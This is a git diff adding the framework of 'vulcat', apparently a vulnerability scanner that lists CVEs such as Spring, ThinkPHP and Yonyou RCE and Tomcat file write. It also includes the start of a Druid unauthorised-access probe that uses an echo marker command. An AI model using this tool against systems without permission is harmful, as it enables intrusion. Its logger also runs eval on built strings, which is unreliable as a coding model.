'save_help': { + 'title': 'Save', + 'name': '保存扫描结果', + 'output_text': '以txt格式保存扫描结果, 无漏洞时不会生成文件(如: --output-text result.txt)', + 'output_json': '以json格式保存扫描结果, 无漏洞时不会生成文件(如: --output-text result.json)' + }, + 'lists_help': { + 'title': 'Lists', + 'name': '漏洞列表', + 'list': '查看所有Payload' + }, + 'app_list_help': { + 'title': '支持的目标类型(-a参数, 不区分大小写)', + 'name': 'AliDruid,cisco,thinkphp,tomcat,nacos,spring,weblogic,yonyou' + } + } +} diff --git a/lib/initial/list.py b/lib/initial/list.py new file mode 100644 index 0000000..46e508a --- /dev/null +++ b/lib/initial/list.py @@ -0,0 +1,131 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +from lib.tool import color +import sys + +def list(): + ''' 显示漏洞列表 ''' + vul_list = '' + vul_list += '+' + ('-'*15) + '+' + ('-'*18) + '+' + ('-'*12) + '+' + ('-'*10) + '+' + ('-'*60) + '+\n' + + for vul in vul_info: + for info in vul_info[vul]: + vul_list += '| {}|'.format(vul.ljust(14)) + vul_list += ' {}|'.format(info['vul_id'].ljust(17)) + vul_list += ' {}|'.format(info['type'].ljust(11)) + vul_list += ' {}|'.format(info['method'].ljust(9)) + vul_list += ' {}\t|'.format(info['description'].ljust(45)) + vul_list += '\n' + vul_list += '+' + ('-'*15) + '+' + ('-'*18) + '+' + ('-'*12) + '+' + ('-'*10) + '+' + ('-'*60) + '+\n' + + print(color.cyan(vul_list)) + sys.exit(0) + +vul_info = { + 'Target': [ + { + 'vul_id': 'Vul_id', + 'type': 'Type', + 'method': 'Method', + 'description': 'Description\t' + } + ], + 'AlibabaDruid': [ + { + 'vul_id': 'None', + 'type': 'unAuth', + 'method': 'GET', + 'description': '阿里巴巴Druid未授权访问' + } + ], + 'AlibabaNacos': [ + { + 'vul_id': 'CVE-2021-29441', + 'type': 'unAuth', + 'method': 'GET/POST', + 'description': '阿里巴巴Nacos未授权访问' + } + ], + 'ApacheTomcat': [ + { + 'vul_id': 'CVE-2017-12615', + 'type': 'WriteFile', + 'method': 'PUT', + 'description': 'PUT方法任意文件写入' + } + ], + 'Cisco': [ + { + 'vul_id': 'CVE-2020-3580', + 'type': 'XSS', + 'method': 'POST', + 'description': '思科ASA/FTD软件跨站脚本攻击' + } + ], + # 'Keycloak': [ + # { + # 'vul_id': 'CVE-2020-10770', + # 'type': 'SSRF', + # 'method': 'GET', + # 'description': '使用request_uri参数调用未经验证的URL' + # } + # ], + 'Spring': [ + { + 'vul_id': 'CVE-2022-22965', + 'type': 'RCE', + 'method': 'POST', + 'description': 'Spring Framework远程代码执行' + } + ], + 'ThinkPHP': [ + { + 'vul_id': 'CNVD-2018-24942', + 'type': 'RCE', + 'method': 'GET', + 'description': '未开启强制路由导致RCE' + }, + { + 'vul_id': 'CNNVD-201901-445', + 'type': 'RCE', + 'method': 'POST', + 'description': '核心类Request远程代码执行' + } + ], + 'Weblogic': [ + { + 'vul_id': 'CVE-2020-14750', + 'type': 'unAuth', + 'method': 'GET', + 'description': 'Weblogic权限验证绕过' + } + ], + 'Yonyou': [ + { + 'vul_id': 'CNVD-2021-30167', + 'type': 'RCE', + 'method': 'GET', + 'description': '用友NC BeanShell远程命令执行' + }, + { + 'vul_id': 'None', + 'type': 'FileRead', + 'method': 'GET', + 'description': '用友ERP-NC NCFindWeb接口任意文件读取/下载' + } + ] +} + +# vul_list = ''' +# +------------------------------+---------+---------+-------------------------------+ +# | Target | Vul_id | Type | Method | Description | +# +-----------+------------------+---------+---------+-------------------------------+ +# | Cisco | CVE-2020-3580 | XSS | POST | 思科ASA/FTD软件XSS漏洞 | +# | ThinkPHP | CNVD-2018-24942 | RCE | GET | 未开启强制路由RCE | +# | ThinkPHP | CNNVD-201901-445 | RCE | POST | 核心类Request远程代码执行 | +# | XXX | CVE-XXX-XXX | RCE | GET | XXXXXXX | +# +-----------+------------------+---------+---------+-------------------------------+ +# | XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX | +# +--------------------------------------------------------------------------+ +# ''' \ No newline at end of file diff --git a/lib/initial/parse.py b/lib/initial/parse.py new file mode 100644 index 0000000..cb7b7d6 --- /dev/null +++ b/lib/initial/parse.py @@ -0,0 +1,53 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +''' + 参数接收 +''' + +from ensurepip import version +from lib.initial.language import language +from optparse import OptionParser + +def parse(): + ''' 参数列表 ''' + lang = language() # * 帮助语言 + + parser = OptionParser('''Usage: python3 vulcat.py +Examples: +python3 vulcat.py -u https://www.example.com/ +python3 vulcat.py -u https://www.example.com/ -a thinkphp --log 3 +python3 vulcat.py -f url.txt -t 10 +python3 vulcat.py --list +''', version='vulcat.py-1.0.0\n') + # * 指定目标 + target = parser.add_option_group(lang['target_help']['title'], lang['target_help']['name']) + target.add_option('-u', '--url', type='string', dest='url', default=None, help=lang['target_help']['url']) + target.add_option('-f', '--file', type='string', dest='file', default=None, help=lang['target_help']['file']) + target.add_option('-r', '--recursive', dest='recursive', action='store_true', help=lang['target_help']['recursive']) + + # * 可选参数 + optional = parser.add_option_group(lang['optional_help']['title'], lang['optional_help']['name']) + optional.add_option('-t', '--thread', type='int', dest='thread', default=3, help=lang['optional_help']['thread']) + optional.add_option('--delay', type='int', dest='delay', default=0.5, help=lang['optional_help']['delay']) + optional.add_option('--timeout', type='int', dest='timeout', default=10, help=lang['optional_help']['timeout']) + optional.add_option('--http-proxy', type='string', dest='http_proxy', default=None, help=lang['optional_help']['http_proxy']) + optional.add_option('--user-agent', type='string', dest='ua', default='Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0', help=lang['optional_help']['user_agent']) + optional.add_option('--log', type='int', dest='log', default=1, help=lang['optional_help']['log']) + + # * 指定目标类型 + application = parser.add_option_group(lang['application_help']['title'], lang['application_help']['name']) + application.add_option('-a', '--application', type='string', dest='application', default='all', help=lang['application_help']['application']) + + # * 保存扫描结果到文件中 + save = parser.add_option_group(lang['save_help']['title'], lang['save_help']['name']) + save.add_option('--output-text', type='string', dest='txt_filename',default=None, help=lang['save_help']['output_text']) + save.add_option('--output-json', type='string', dest='json_filename',default=None, help=lang['save_help']['output_json']) + + # * 查看漏洞列表 + lists = parser.add_option_group(lang['lists_help']['title'], lang['lists_help']['name']) + lists.add_option('--list', dest='list', help=lang['lists_help']['list'], action='store_true') + + app_list = parser.add_option_group(lang['app_list_help']['title'], lang['app_list_help']['name']) + + return parser.parse_args() \ No newline at end of file diff --git a/lib/report/__pycache__/output.cpython-38.pyc b/lib/report/__pycache__/output.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..fe758af087bf51cc3f4dc581d508c3404e4e94a0 GIT binary patch literal 3240 zcmb7`?{6GO8OL|_*X>>WtCm}*t$}HZsE^tQf|eEwA*z-@-?$;Tl-d_rXV2QXcyISS zJD0@AS}GVdDrys5(SzQw*e{{S!iitjVKHnwr3bXW82 zvop`kJiE_lpJ!k0?=KlRZq5BofEEW3!VoMl8f=y^(#^nZShJSa zt-x+LvyRs7z-<&}3tD#qZ`Kp8DE!)(EecN*aV?3GIEL#n(I@(G?GpoH5Z8V&Bp$$Z zKsY}&%ENcDqfut5vls=DgyJqn;Zl7WT3;AlQ1ymCzvkEUNDwVA`*M1b(VYCSadpw2 zM~kmQD5Jv!6K24Xa^hNtebCYNI47^Y^x$G-0B0uIZ;IZ#FzQAT>PdW%g zYS+W1D19($sb)*f!`XT2nAc%W-CDCr4q0#~b(bR9sHt>t*WdZD)mZRl>NI6NRAoCY z}5- zV<(QLbzI>Nw1QrlBo@dVShs1-#Ma|g<#r0f5pKe;HqmQ#ysp8FSB&sD!<8A@0_4)@ zt43)4+z>@jT53(eRla%iy1J-(om*SCu58}<2fi(BVd*~7i3-el2S!FcnC;2h+a8Fg0PkSWaKOc zQS9GvB50MxpL6l|UVQ72cDF31&X5z0x7^cZeK;4?KkfepK+kD41h!#|#;~j#icnBi0 zI0~XkI7|?oi=*(qD3Xt2h8!dDC3;v_Ls8OHNP3m>E7bkyJ>pIKOqWZNljUP1bhK^i zPaV-}G~=TpEgvUS3evqINeeuU@gpNSoTmZL+84>M!}>spqH;w|CjxRyFnnlcYZfYh zoIl35e)InJ#_jDpS9>3Iw_g9l*7e&HeEaeTz1Oa1vcz%VWu8@y;C^1Fwx8BdRAw2h z_u!OPoQ4~*PF%Kp68Zt(DS>%t+V}rJ$;xZTM1j>zb*W?;9ji-a_Fq+`wsi}ol#&y; zQ_hMhf0i)JaudwR3Tpxug+obCGs#xRU|E3WJBKZIEi|1&pqC{`YWb`-lBolxv-uw8 zkD;f4J&Lr~Xy&W;zcq3%C*Y+^Yl))v3k5#6MS9&$$N3(g!8eLlsr5}fJn!AQ()-7I zn|HdsU;b@^Z+-ITyMKCj`;Ct#_~*a-%jTz-w|;wj^X9ef?wi~He0%HCr@U?V1LM0V zF;!E&V@~lMx0FykcTCRPZok&s)>N^yQ`9<*0b~k@q}r1@!MPUdoP!kBh*MjwHBqr+ zCDY=X9|X|_q`}nIrO+1jMWw%!8wDNq*<)D_)#Wm^R{XWpIbRD}{%lEK=JjIie9Bf1 z@h=Ck^$c28`cUA8Q0hE(0`0gidL_s)^o}!a`+w9>Hr3R83`Jy=7@Cr6IVEh55)-kT zLTo|RsG;e|vK3qH0~r=Z!`)Ge_W>I0JW{6-PfOE4b8O7%({m`IIcLaynFoB205<_m zde?n+tCz7aMZM7aE}TCU_1^D02cw?V$0I7Ej=7{%C@Uns0ns+6ijr6=JMvr9`E3$U zk@yaYXGlCt;@~GMPoQrJEf0vD2jn4y0skWS3!#7v;T&Vywmg`6__?X5C<-)9=`h{a z!@8>1f=c$6EiJ5=4(!@h=yy=$g>tVm`|Zxk<2ZRnzdE{LNy>FPX=n!YzWe;vPoV3f g_q|3WT7mz4N`Em`Rr-U<{-V4QZ`6C(bG_mJ0+!@V`~Uy| literal 0 HcmV?d00001 diff --git a/lib/report/output.py b/lib/report/output.py new file mode 100644 index 0000000..21affd0 --- /dev/null +++ b/lib/report/output.py @@ -0,0 +1,118 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +from lib.tool import color +from lib.initial.config import config +from lib.tool.timed import nowtime_year +from lib.tool.logger import logger +import json + +def output_info(results): + logger.info('cyan_ex', '[INFO] Analyzing the results. Please wait...') # ? 日志, 正在处理扫描结果 + results_info_list = [] + + for result in results: + if result: + results_info = '' + results_info += output_vul_info_color(result) + results_info_list.append(results_info) + results_info_list = set(results_info_list) # * 去重 + + if results_info_list: # * 有漏洞 + logger.info('green_ex', '[+] Find vulnerable. A total of {} HTTP(s) requests:'.format(logger.requests_number)) # ? 日志, 发现漏洞, 发送的请求包数量为xxx个 + for result in results_info_list: + print(result, end='') + logger.info('reset', '---', notime=True) # ? 结果, 重置文字颜色, 输出漏洞结果, 不显示时间 + else: # * 没有漏洞 + logger.info('red', '[-] The target does not seem vulnerable. A total of {} HTTP(s) requests'.format(logger.requests_number))# ? 日志, 目标看起来没有漏洞, 发送的请求包数量为xxx个 + return None + +def output_text(results, filename): + ''' 以txt格式保存扫描结果至文件中 ''' + try: + f = open(filename, 'a') + f.write('-'*50 + '\n' + '-'*5 + nowtime_year() + '\n') + results_info_list = [] + + for result in results: + if result: + results_info = '-----' + results_info += output_vul_info(result) + results_info_list.append(results_info) + results_info_list = set(results_info_list) + + if results_info_list: + for result in results_info_list: + f.write(result) + logger.info('cyan_ex', '[INFO] The results have been saved to ' + filename) # ? 日志, 已保存结果至XXX.txt文件中 + f.close() + except: + logger.info('red_ex', '[ERROR] Failed to save txt') + return None + +def output_json(results, filename): + ''' 以json格式保存扫描结果至文件中 ''' + try: + f = open(filename, 'a') + f.write('-'*50 + '\n' + '-'*5 + nowtime_year() + '\n') + results_info_list = [] + + for result in results: + if result: + results_info = '-----\n' + results_info += json.dumps(result) + '\n' + results_info_list.append(results_info) + results_info_list = set(results_info_list) + + if results_info_list: + for result in results_info_list: + # result = result.replace('{', '{\n\t') + # result = result.replace(', ', ',\n\t') + f.write(result) + logger.info('cyan_ex', '[INFO] The results have been saved to ' + filename) # ? 日志, 已保存结果至XXX.json文件中 + f.close() + except: + logger.info('red_ex', '[ERROR] Failed to save json') + return None + +def output_html(result): + ''' # ! 功能还没写好, 莫急莫急 + 以html格式保存扫描结果至文件中 + ''' + pass + +def output_vul_info_color(result): + ''' 漏洞信息, 带颜色, 用于命令行输出 ''' + result_info = color.reset('\r---'.ljust(70) + '\n') + for key, value in result.items(): + value_type = type(value) # * 保存value类型 + if value_type == str: # * str输出方式 + result_info += color.yellow_ex(key) + color.reset(': ' + value + '\n| ') + elif value_type == list: # * list输出方式 + result_info += color.yellow_ex(key) + color.reset(': ') + for v in value: + result_info += v + ' ' + result_info += '\n| ' + elif value_type == dict: # * dict输出方式 + result_info += '\r| ' + color.red_ex(key) + color.reset(':\t' + '\n') + for k, v in value.items(): + result_info += '| ' + color.yellow_ex(k) + color.reset(': ' + v + '\n') + return result_info + +def output_vul_info(result): + ''' 漏洞信息, 无颜色, 用于保存结果至文件中 ''' + result_info = '\n' + for key, value in result.items(): + value_type = type(value) + if value_type == str: + result_info += key + ': ' + value + '\n| ' + elif value_type == list: + result_info += key + ': ' + for v in value: + result_info += v + ' ' + result_info += '\n| ' + elif value_type == dict: + result_info += key + ':\t' + '\n' + for k, v in value.items(): + result_info += '| ' + k +': ' + v + '\n' + return result_info \ No newline at end of file diff --git a/lib/tool/__pycache__/check.cpython-38.pyc b/lib/tool/__pycache__/check.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..7d151ff4d319f16fbd9335bac7f9698f65c2c54f GIT binary patch literal 1149 zcmbtU&1(}u6rY*h>~3RY{Wu8Xp@^4&Bz{~ZhzM1WrP7KT0%5Z=?XKDE#Mz0M7(r}n zK~WDP1wUIwQ9(WUfq2k=!Sh~iw&}rtKrg=8q_KMS4fFOl^Jd=6{N9f}mC2+L*tfGM zD+Lpw?`p8o2n>!w4-bK(sE8=0#K$#KBv@h1*J^rEPq6N%iYc0+#vCdd)T9=CO{!0# z>`>zeY)_AZ#ZRxqkDnzl87?lx@9uWLK8kNW>n^-oz5ga&T4)G=u%H(j%y&P|$BQ2a z(O$MXce-!i#@GL(RjF6L+~_>Nx_bY;O8wf@FzQNK4-5JHj3?bjCFk&3zU8)>RVMNm8h*{L=PN$1w1IQBWe1nBD9Cxq^_DzSc1$_*9=!27J2~)g` zFXIFeKqNsLAg#4il5@C?+PF>H8r5m)W(uRzh#HefM-bDhX)%G3YG;vRKbh5Gc6#IN z8K@>y#vG4K>D3r-$jEe=O_>NIvo82WkA)|)x=_~>Ddh}sk0qMu|nxo2#1%ZTra3j*tB$vg;mMx zC1BdIWy$v{CCRy8a$M$Af#N8WpfV7w&fN-W!clMtr;|poj>&raWmpE@f>jrrVU441 zzi#UO>YYgm_5h%`jd!3P?LaeHCX`e)v5RVxs13AH0@Ue^5-jZt`fmxw4?)bY{!2ef zhOJG^ae402zPo1 qNy)_s>`d59a%?zLl~g1LTZe0$HhgwO@f)gtjXpGthp|Ph-M;~J!bfZX literal 0 HcmV?d00001 diff --git a/lib/tool/__pycache__/color.cpython-38.pyc b/lib/tool/__pycache__/color.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..35d2ba866c9854e129c5c82edaa1cb1a758ab1ba GIT binary patch literal 1597 zcmbW1TZ_|B5XVn$ZF=wCY!wtiSm?_>_$VTFyRnM3YA@)9z>;jOQ#+6D@&@k-xlLw{{zxX3PRQh;MZ}^Q22v9uX zE4JdRw(4uP=Igeu2&w!KiU1X~pTagk2ZJ;RImnad!Gr>-2}LN87N86j(jru$Mp}Y8 z?2(pX9}Y+>a0o}FRk#BU(i${}qILH-@kL9I_1R(;#rlf?WvrjN(|K$Rqm?J83U9a> zJZH~4^oAT@Bt9wMMMDh5TIsh`)M(8%2G-CTt(8~_*8&T)^yhKsi8Br*hR*0}wwS+j z!8w!RJPMZ1=WB23Mvga|I8hLI&NT1>JXx+{17#>9Iy@0FQz%#>`@jBRjyB(Vqz$Yy z%+o^R&Bn0%v4#@(ueXFU%`*{s5)4$-G8cd?gZFfUUi zmENoF%h74C-FbasecT$6Iq|4KF67t46tI>RSW1ADpVwuvrD)-Ifx zmlhC0s-HryMKn*#EkMZQ$Xg^pZ+$VGviCgj6I4h9*K>N4E@FljaB WQ$K)fPd?+nhfOj~HK&@|zt3MZ0`F`9 literal 0 HcmV?d00001 diff --git a/lib/tool/__pycache__/logger.cpython-38.pyc b/lib/tool/__pycache__/logger.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..da06fa0473d23c7bb121cffb83f17cbd88a8d91d GIT binary patch literal 2755 zcmb_eTaOe)6z;0N&dgpA&~*)oBN}8}9ATGBq6Q%l@PRBCATiBg+dI{}%x+KjQeDGk zwkHvXpdk==0lW~LeK5E_AVvexVE7;XYG#&w@DJ>R@tm5y!mj#2&(x{YUDZ{mzVAC# zeY~?Xt-$qH;iDlJyg%_~>7~NW9w^a=V3@*)uat>R2>R5gWz|-tulib9w{_`jzEL)9 zlPCujrZeNB!i+k#Ezhbec8Zxtm7FyLqbWI(7{xFcE{%X^2H{yzDtqAS#n2BqIGQ-k z%0=wD^jZk%6L{(=HerfQ8DaFIVyo`@LvPgyV%X z6~E|;f?pach%odEzKkJ1em=1rrxcWgDPX&0Qwc8Wb7u z9&lpXfS?(jq&3Ra28l_Gz8?A@o?UlO843n0}Qa!>~+aaF!IR zv{0yaNw)G6waptRY8!J2E?xBkmNOEQd*i-a^b%t@f`?iGG%sgqLXE8Q0I5 zJO$6}wD8UeM-B(ngP#~dh?+=JCrZ)4Kg* z^WK%#m)EyspFIAmdHaXvrLVJtGL|XYUWDfIk?85@a6J;ctyvsj@=L30mdE34{qKnQ z>+pVi^fwkfOg1jXwJ^^%Y+Y@hZOa6P#2|nB@C_e~P#T1RtYXN(UPY*}GOE=`F2$Rq%kGF52p3gp4Z*fB23}5; zobuNoMB6~wIsL0r+rJqBlu1oDkWFOMvjq1)1N=f}b9gyc8VcmA%w?I^u<;=UJqlBM z0OmPp3FP%0@Uqt;>=I}m0Q|Tsm_Smy?>zkYbg?%D_^ryvi|`Lf_&5I#{BwOzetOvY z`SaGz-&()in7f(&_Fk*;McQt zIO8fQy?xm{xWQnNsW!jKEJAvr|U5%6fJV=I8;A$5*ZsPkYQd z$4SzTQw~|hN58{yPFGyN-NKOx-iu}WG#G^@IA;&y_r$%1oX|i8cSQ wy*G4=Qzg#ET`tb&@#C(2eBtDYfjhXzSBfsN-fu5{H&QCUxbRSiAMM)x4|nF5EdT%j literal 0 HcmV?d00001 diff --git a/lib/tool/__pycache__/md5.cpython-38.pyc b/lib/tool/__pycache__/md5.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..23633fe4744290f7be6f9ec5f4594b4bf0af5a67 GIT binary patch literal 440 zcmYjNO-sW-5Z&FRA65$DNiUM40TnNbh=@>+QUvX#1VWlwO=;4EY$7TZJSga)>Y;d0 z(DvvbPz1&Qu~)6Of5D4Rib&rwkDYll^Oh~;^EraJ`Prz9Q$pU8WEc#SH4HI<1f)!W z0&{7Zf&%IZDKlVOL{G(2DCaap@8YR@dF{bM_xNQ-!)y1vx%lzg%=NK@6m2y5N3uMH zQNR$>ND*n%4mqL?+GY*XR)BW!P=dMIA;3U6Ws?LA)mX!J?W=YFd3N=0_Wam;Yjtn$ z{w%e_R2=QhE*1M}Y}QjU<5h)l-;SP_?LUblVVa>U{LP~GJs(wWR!L15M` zk4xsk0|}E~`kpT=8zsR*VQf3qdTrAJW1Wjy59ylCiu2#h6*Z!;=p8xMp2O270-v*<*Ugmk&vop*)N1WbaMaz literal 0 HcmV?d00001 diff --git a/lib/tool/__pycache__/thread.cpython-38.pyc b/lib/tool/__pycache__/thread.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..5064dcbb268396d9824322caa0bb0f9985b84e5f GIT binary patch literal 1026 zcmZuw&1(};5TCcZ*=&}iet_4~g9leiFWy8%sN%^Yv_)MO9@~A}Hg=oD_jW}?4nhO5 z1urTdY^m)@;z_+&4ATE&uQo~hFL-ihH?=_>m|^C-}bk6hrKt0-JRk4c7N-`@y3tL@uc%=@a}W}<#xaK{pjGu(ZQ$usTzLiO-~Jb z9|xO<$DPq3#+zBlB4=+0-+KM6z5m8u31copl|=Cs$38(+;IP!p-v(rklRh%kG%6vu z46D^Tu*|69wuRMYwYr8V2(t}tp#uiECRSWb%^YrU8iPWSe#&YRjTmCqf(>m?+Xn_M z)Vbc$P#OZ}q08o+LRwHsBb1Wfr55MaS~cbz!}}6zN%cfVj-DDSjFx2)eWZn=%hD3( zLF6mNc^7_No4xKWs!%F#VYOOYyYCC{cBt0kdc%8~M1dcBQFY0S>-EUXVb3(4OA`ZC zkQFJwCYZ^Z=SJ73I08m@BO;w(&LXReC|aGUlDm+U~d)c%wF+9MO2KIQ(mXi!S%-|7j>^wZoWDZ7? z6X>6o?mP>^MqI7ev7gz>qZXjCXGdrFwC;{8&!Y=+*y@CVFgzya5Tm%xySpa(BXL_K6OBD32gS?sZ;r^iI2Hwk+1 zqQV{wVfPTky97K){>NOyZ1gYWl&Vn^6Ow{@broON_bm?&J|SSw!iB~QM#wj89vi%o zDe!C*0wsY&_OS=@{j2ze8o3E$k*{AaQq&z(8wZGi9FGnE-<-v#G z`}wiI<9M@yHy3z|JJ##>dn>MQ7gQHcrq!BmrAg5zWHT06Dx_7^8X`|tlXr!^CRG}1 zpDMiTf+z>lkBR9ZTFw%cMN4m58|yD)9?c}#x|W;KRxX;cjzp^wX(>g7n0$P5yQpo* zx7hRpKxRT9Y?vyP`2P}&!1Qkkb_vjC`527;MZ3JZtoJ@1)O+pE?jI67^8Bwmx*5C*7YJJwHe{HFK- literal 0 HcmV?d00001 diff --git a/lib/tool/check.py b/lib/tool/check.py new file mode 100644 index 0000000..7155185 --- /dev/null +++ b/lib/tool/check.py @@ -0,0 +1,44 @@ +#!/usr/bin/env /python3 +# -*- coding:utf-8 -*- + +''' + 检查 + 无法连接至目标url + 连接目标url超时 + 检查poc误报 + 例如直接输出payload在页面中的情况 + 参考: https://github.com/zhzyker/vulmap/blob/main/core/verify.py +''' + +from lib.initial.config import config +from thirdparty import requests +import re + +def check_connect(url): + timeout = config.get('timeout') + headers = config.get('headers') + proxies = config.get('proxies') + try: + requests.get( + url, + timeout=timeout, + headers=headers, + proxies=proxies, + verify=False + ) + + return True + except requests.ConnectTimeout: + return False + except requests.ConnectionError: + return False + +def check_res(res, md): + ''' 检查poc误报 + 来自: https://github.com/zhzyker/vulmap/blob/main/core/verify.py + ''' + res_info = "echo.{0,10}" + md + if(re.search(res_info, res) != None): + return "not_vul" + else: + return res diff --git a/lib/tool/color.py b/lib/tool/color.py new file mode 100644 index 0000000..ea36260 --- /dev/null +++ b/lib/tool/color.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +from thirdparty.colorama import init, Fore, Back, Style + +init() # * 初始化, 使Windows机器也能正常显示颜色 + +def reset(s): + return Fore.RESET + s + +def red(s): # * 红色 + return Fore.RED + s + +def green(s): # * 绿色 + return Fore.GREEN + s + +def cyan(s): # * 青蓝 + return Fore.CYAN + s + +def black_ex(s): # * 黑色(高亮) + return Fore.LIGHTBLACK_EX + s + +def red_ex(s): # * 红色(高亮) + return Fore.LIGHTRED_EX + s + +def green_ex(s): # * 绿色(高亮) + return Fore.LIGHTGREEN_EX + s + +def yellow_ex(s): # * 黄色(高亮) + return Fore.LIGHTYELLOW_EX + s + +def blue_ex(s): # * 蓝色(高亮) + return Fore.LIGHTBLUE_EX + s + +def magenta_ex(s): # * 紫色(高亮) + return Fore.LIGHTMAGENTA_EX + s + +def cyan_ex(s): # * 青蓝(高亮) + return Fore.LIGHTCYAN_EX + s + + + + + + +# from colorama import init +# from colorama import Fore, Back, Style +# from termcolor import colored + +# # use Colorama to make Termcolor work on Windows too +# init() +# print(Fore.MAGENTA + 'some red text') +# # then use Termcolor for all colored text output +# print(Fore.BLACK + 'some red text') +# print(Fore.RED + 'some red text') +# print(Fore.GREEN + 'some red text') +# print(Fore.YELLOW + 'some red text') +# print(Fore.BLUE + 'some red text') +# print(Fore.CYAN + 'some red text') +# print(Fore.MAGENTA + 'some red text') +# print('---------------------------------') +# print(Fore.LIGHTBLACK_EX + 'some red text') +# print(Fore.LIGHTRED_EX + 'some red text') +# print(Fore.LIGHTGREEN_EX + 'some red text') +# print(Fore.LIGHTYELLOW_EX + 'some red text') +# print(Fore.LIGHTBLUE_EX + 'some red text') +# print(Fore.LIGHTCYAN_EX + 'some red text') +# print(Fore.LIGHTMAGENTA_EX + 'some red text') \ No newline at end of file diff --git a/lib/tool/logger.py b/lib/tool/logger.py new file mode 100644 index 0000000..6affd2c --- /dev/null +++ b/lib/tool/logger.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +from lib.initial.config import config +from lib.tool.timed import nowtime +from lib.tool import color +from thirdparty.tqdm import tqdm + +class Logger(): + def __init__(self): + self.requests_number = 0 # * http请求计数 + + def info(self, text_color, text, notime=False, print_end='\n'): + text = text.replace('\\', '\\\\') # * 防止eval时字符被转义 + command = 'color.{}("{}")'.format(text_color, text) # * 颜色 + 文字 + now_time = '' if notime else nowtime() # * 是否显示时间 + + tqdm.write(now_time + eval(command), end=print_end) + + def logging(self, vul_info): + self.requests_number += 1 # * http请求数加1 + log_level = config.get('log') # * 获取日志等级 + + if (log_level > 1) and (log_level <= 3): + log_function = 'self.logging_{}({})'.format( + log_level, + vul_info + ) + log_info = eval(log_function) + tqdm.write((nowtime() + log_info + color.yellow_ex('')).ljust(140)) + + def logging_0(self, *args): + ''' 功能尚未完成, 还在写 ''' + pass + + def logging_1(self, *args): + ''' 功能尚未完成, 还在写 ''' + pass + + def logging_2(self, vul_info): + ''' 日志2级, 框架名称+漏洞编号+状态码''' + info_2 = color.red_ex('[LOG-{}-{}]'.format(vul_info['app_name'], str(self.requests_number))) + info_2 += color.red_ex(' [') + color.magenta_ex(vul_info['status_code']) + color.red_ex(']') + info_2 += color.red_ex(' [') + color.black_ex(vul_info['vul_id']) + color.red_ex(']') + + return info_2 + + def logging_3(self, vul_info): + ''' 日志3级, (框架名称+漏洞编号+状态码)+请求方法+请求目标+POST数据 ''' + info_3 = self.logging_2(vul_info) + + info_3 += color.red_ex(' [' + vul_info['vul_method'] + ' ') + info_3 +=color.black_ex(vul_info['target']) + color.red_ex(']') + if vul_info['data']: + info_3 += color.red_ex(' [DATA ') + color.black_ex(vul_info['data']) + color.red_ex(']') + + return info_3 + + def logging_4(self, *args): + ''' 功能尚未完成, 还在写 ''' + pass + + def logging_5(self): + ''' 功能尚未完成, 还在写 ''' + pass + + def logging_6(self): + ''' 功能尚未完成, 还在写 ''' + pass + +logger = Logger() \ No newline at end of file diff --git a/lib/tool/md5.py b/lib/tool/md5.py new file mode 100644 index 0000000..2a8ae34 --- /dev/null +++ b/lib/tool/md5.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +''' + 获取md5值, 取前6位 +''' + +import hashlib + +def md5(app_name): + ''' 生成md5值, 并返回前6位 ''' + md = hashlib.md5() + md.update(app_name.encode('utf-8')) + + return md.hexdigest()[:6] \ No newline at end of file diff --git a/lib/tool/thread.py b/lib/tool/thread.py new file mode 100644 index 0000000..1d84308 --- /dev/null +++ b/lib/tool/thread.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +''' + threading没有返回结果的功能 + 重新创建一个threads类, 继承自threading.Thread + 添加返回结果的功能get_result() +''' + +from threading import Thread + +class thread(Thread): + def __init__(self, target, url): + super(thread, self).__init__() + self.target = target + self.url = url + + def run(self): + self.result = self.target(self.url) + + def get_result(self): # * 返回子线程扫描结果 + try: + return self.result # * 如果子线程不使用join()方法,此处可能会报没有self.result的错误 + except Exception: + return None \ No newline at end of file diff --git a/lib/tool/timed.py b/lib/tool/timed.py new file mode 100644 index 0000000..0c65bf2 --- /dev/null +++ b/lib/tool/timed.py @@ -0,0 +1,19 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +from lib.tool import color +import time as t + +# def nowtime(): +# localtime = t.strftime('%H:%M:%S', t.localtime()) +# print(blue_ex('[{}] '.format(localtime)), end='') + +def nowtime(): + ''' 返回当前时间(时:分:秒)''' + localtime = t.strftime('%H:%M:%S', t.localtime()) + return color.blue_ex('[{}] '.format(localtime)) + +def nowtime_year(): + ''' 返回当前时间(年-月-日 时:分:秒)''' + localtime_year = t.strftime('%Y-%m-%d %H:%M:%S', t.localtime()) + return localtime_year \ No newline at end of file diff --git a/payloads/AlibabaDruid.py b/payloads/AlibabaDruid.py new file mode 100644 index 0000000..332f0f9 --- /dev/null +++ b/payloads/AlibabaDruid.py @@ -0,0 +1,91 @@ +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- + +''' + AlibabaDruid扫描类: + druid 未授权访问 + 暂无编号 +''' + +from lib.initial.config import config +from lib.tool.md5 import md5 +from lib.tool.logger import logger +from lib.tool.thread import thread +from lib.tool import check +from thirdparty import requests + +class Druid(): + def __init__(self): + self.timeout = config.get('timeout') + self.headers = config.get('headers') + self.proxies = config.get('proxies') + + self.app_name = 'AlibabaDruid' + self.md = md5(self.app_name) + self.cmd = 'echo ' + self.md + + self.alibaba_druid_unauthorized_payloads = [ + { + 'path': 'druid/index.html', + 'data': '' + } + ] + + def alibaba_druid_unauthorized_scan(self, url): + vul_info = {} + 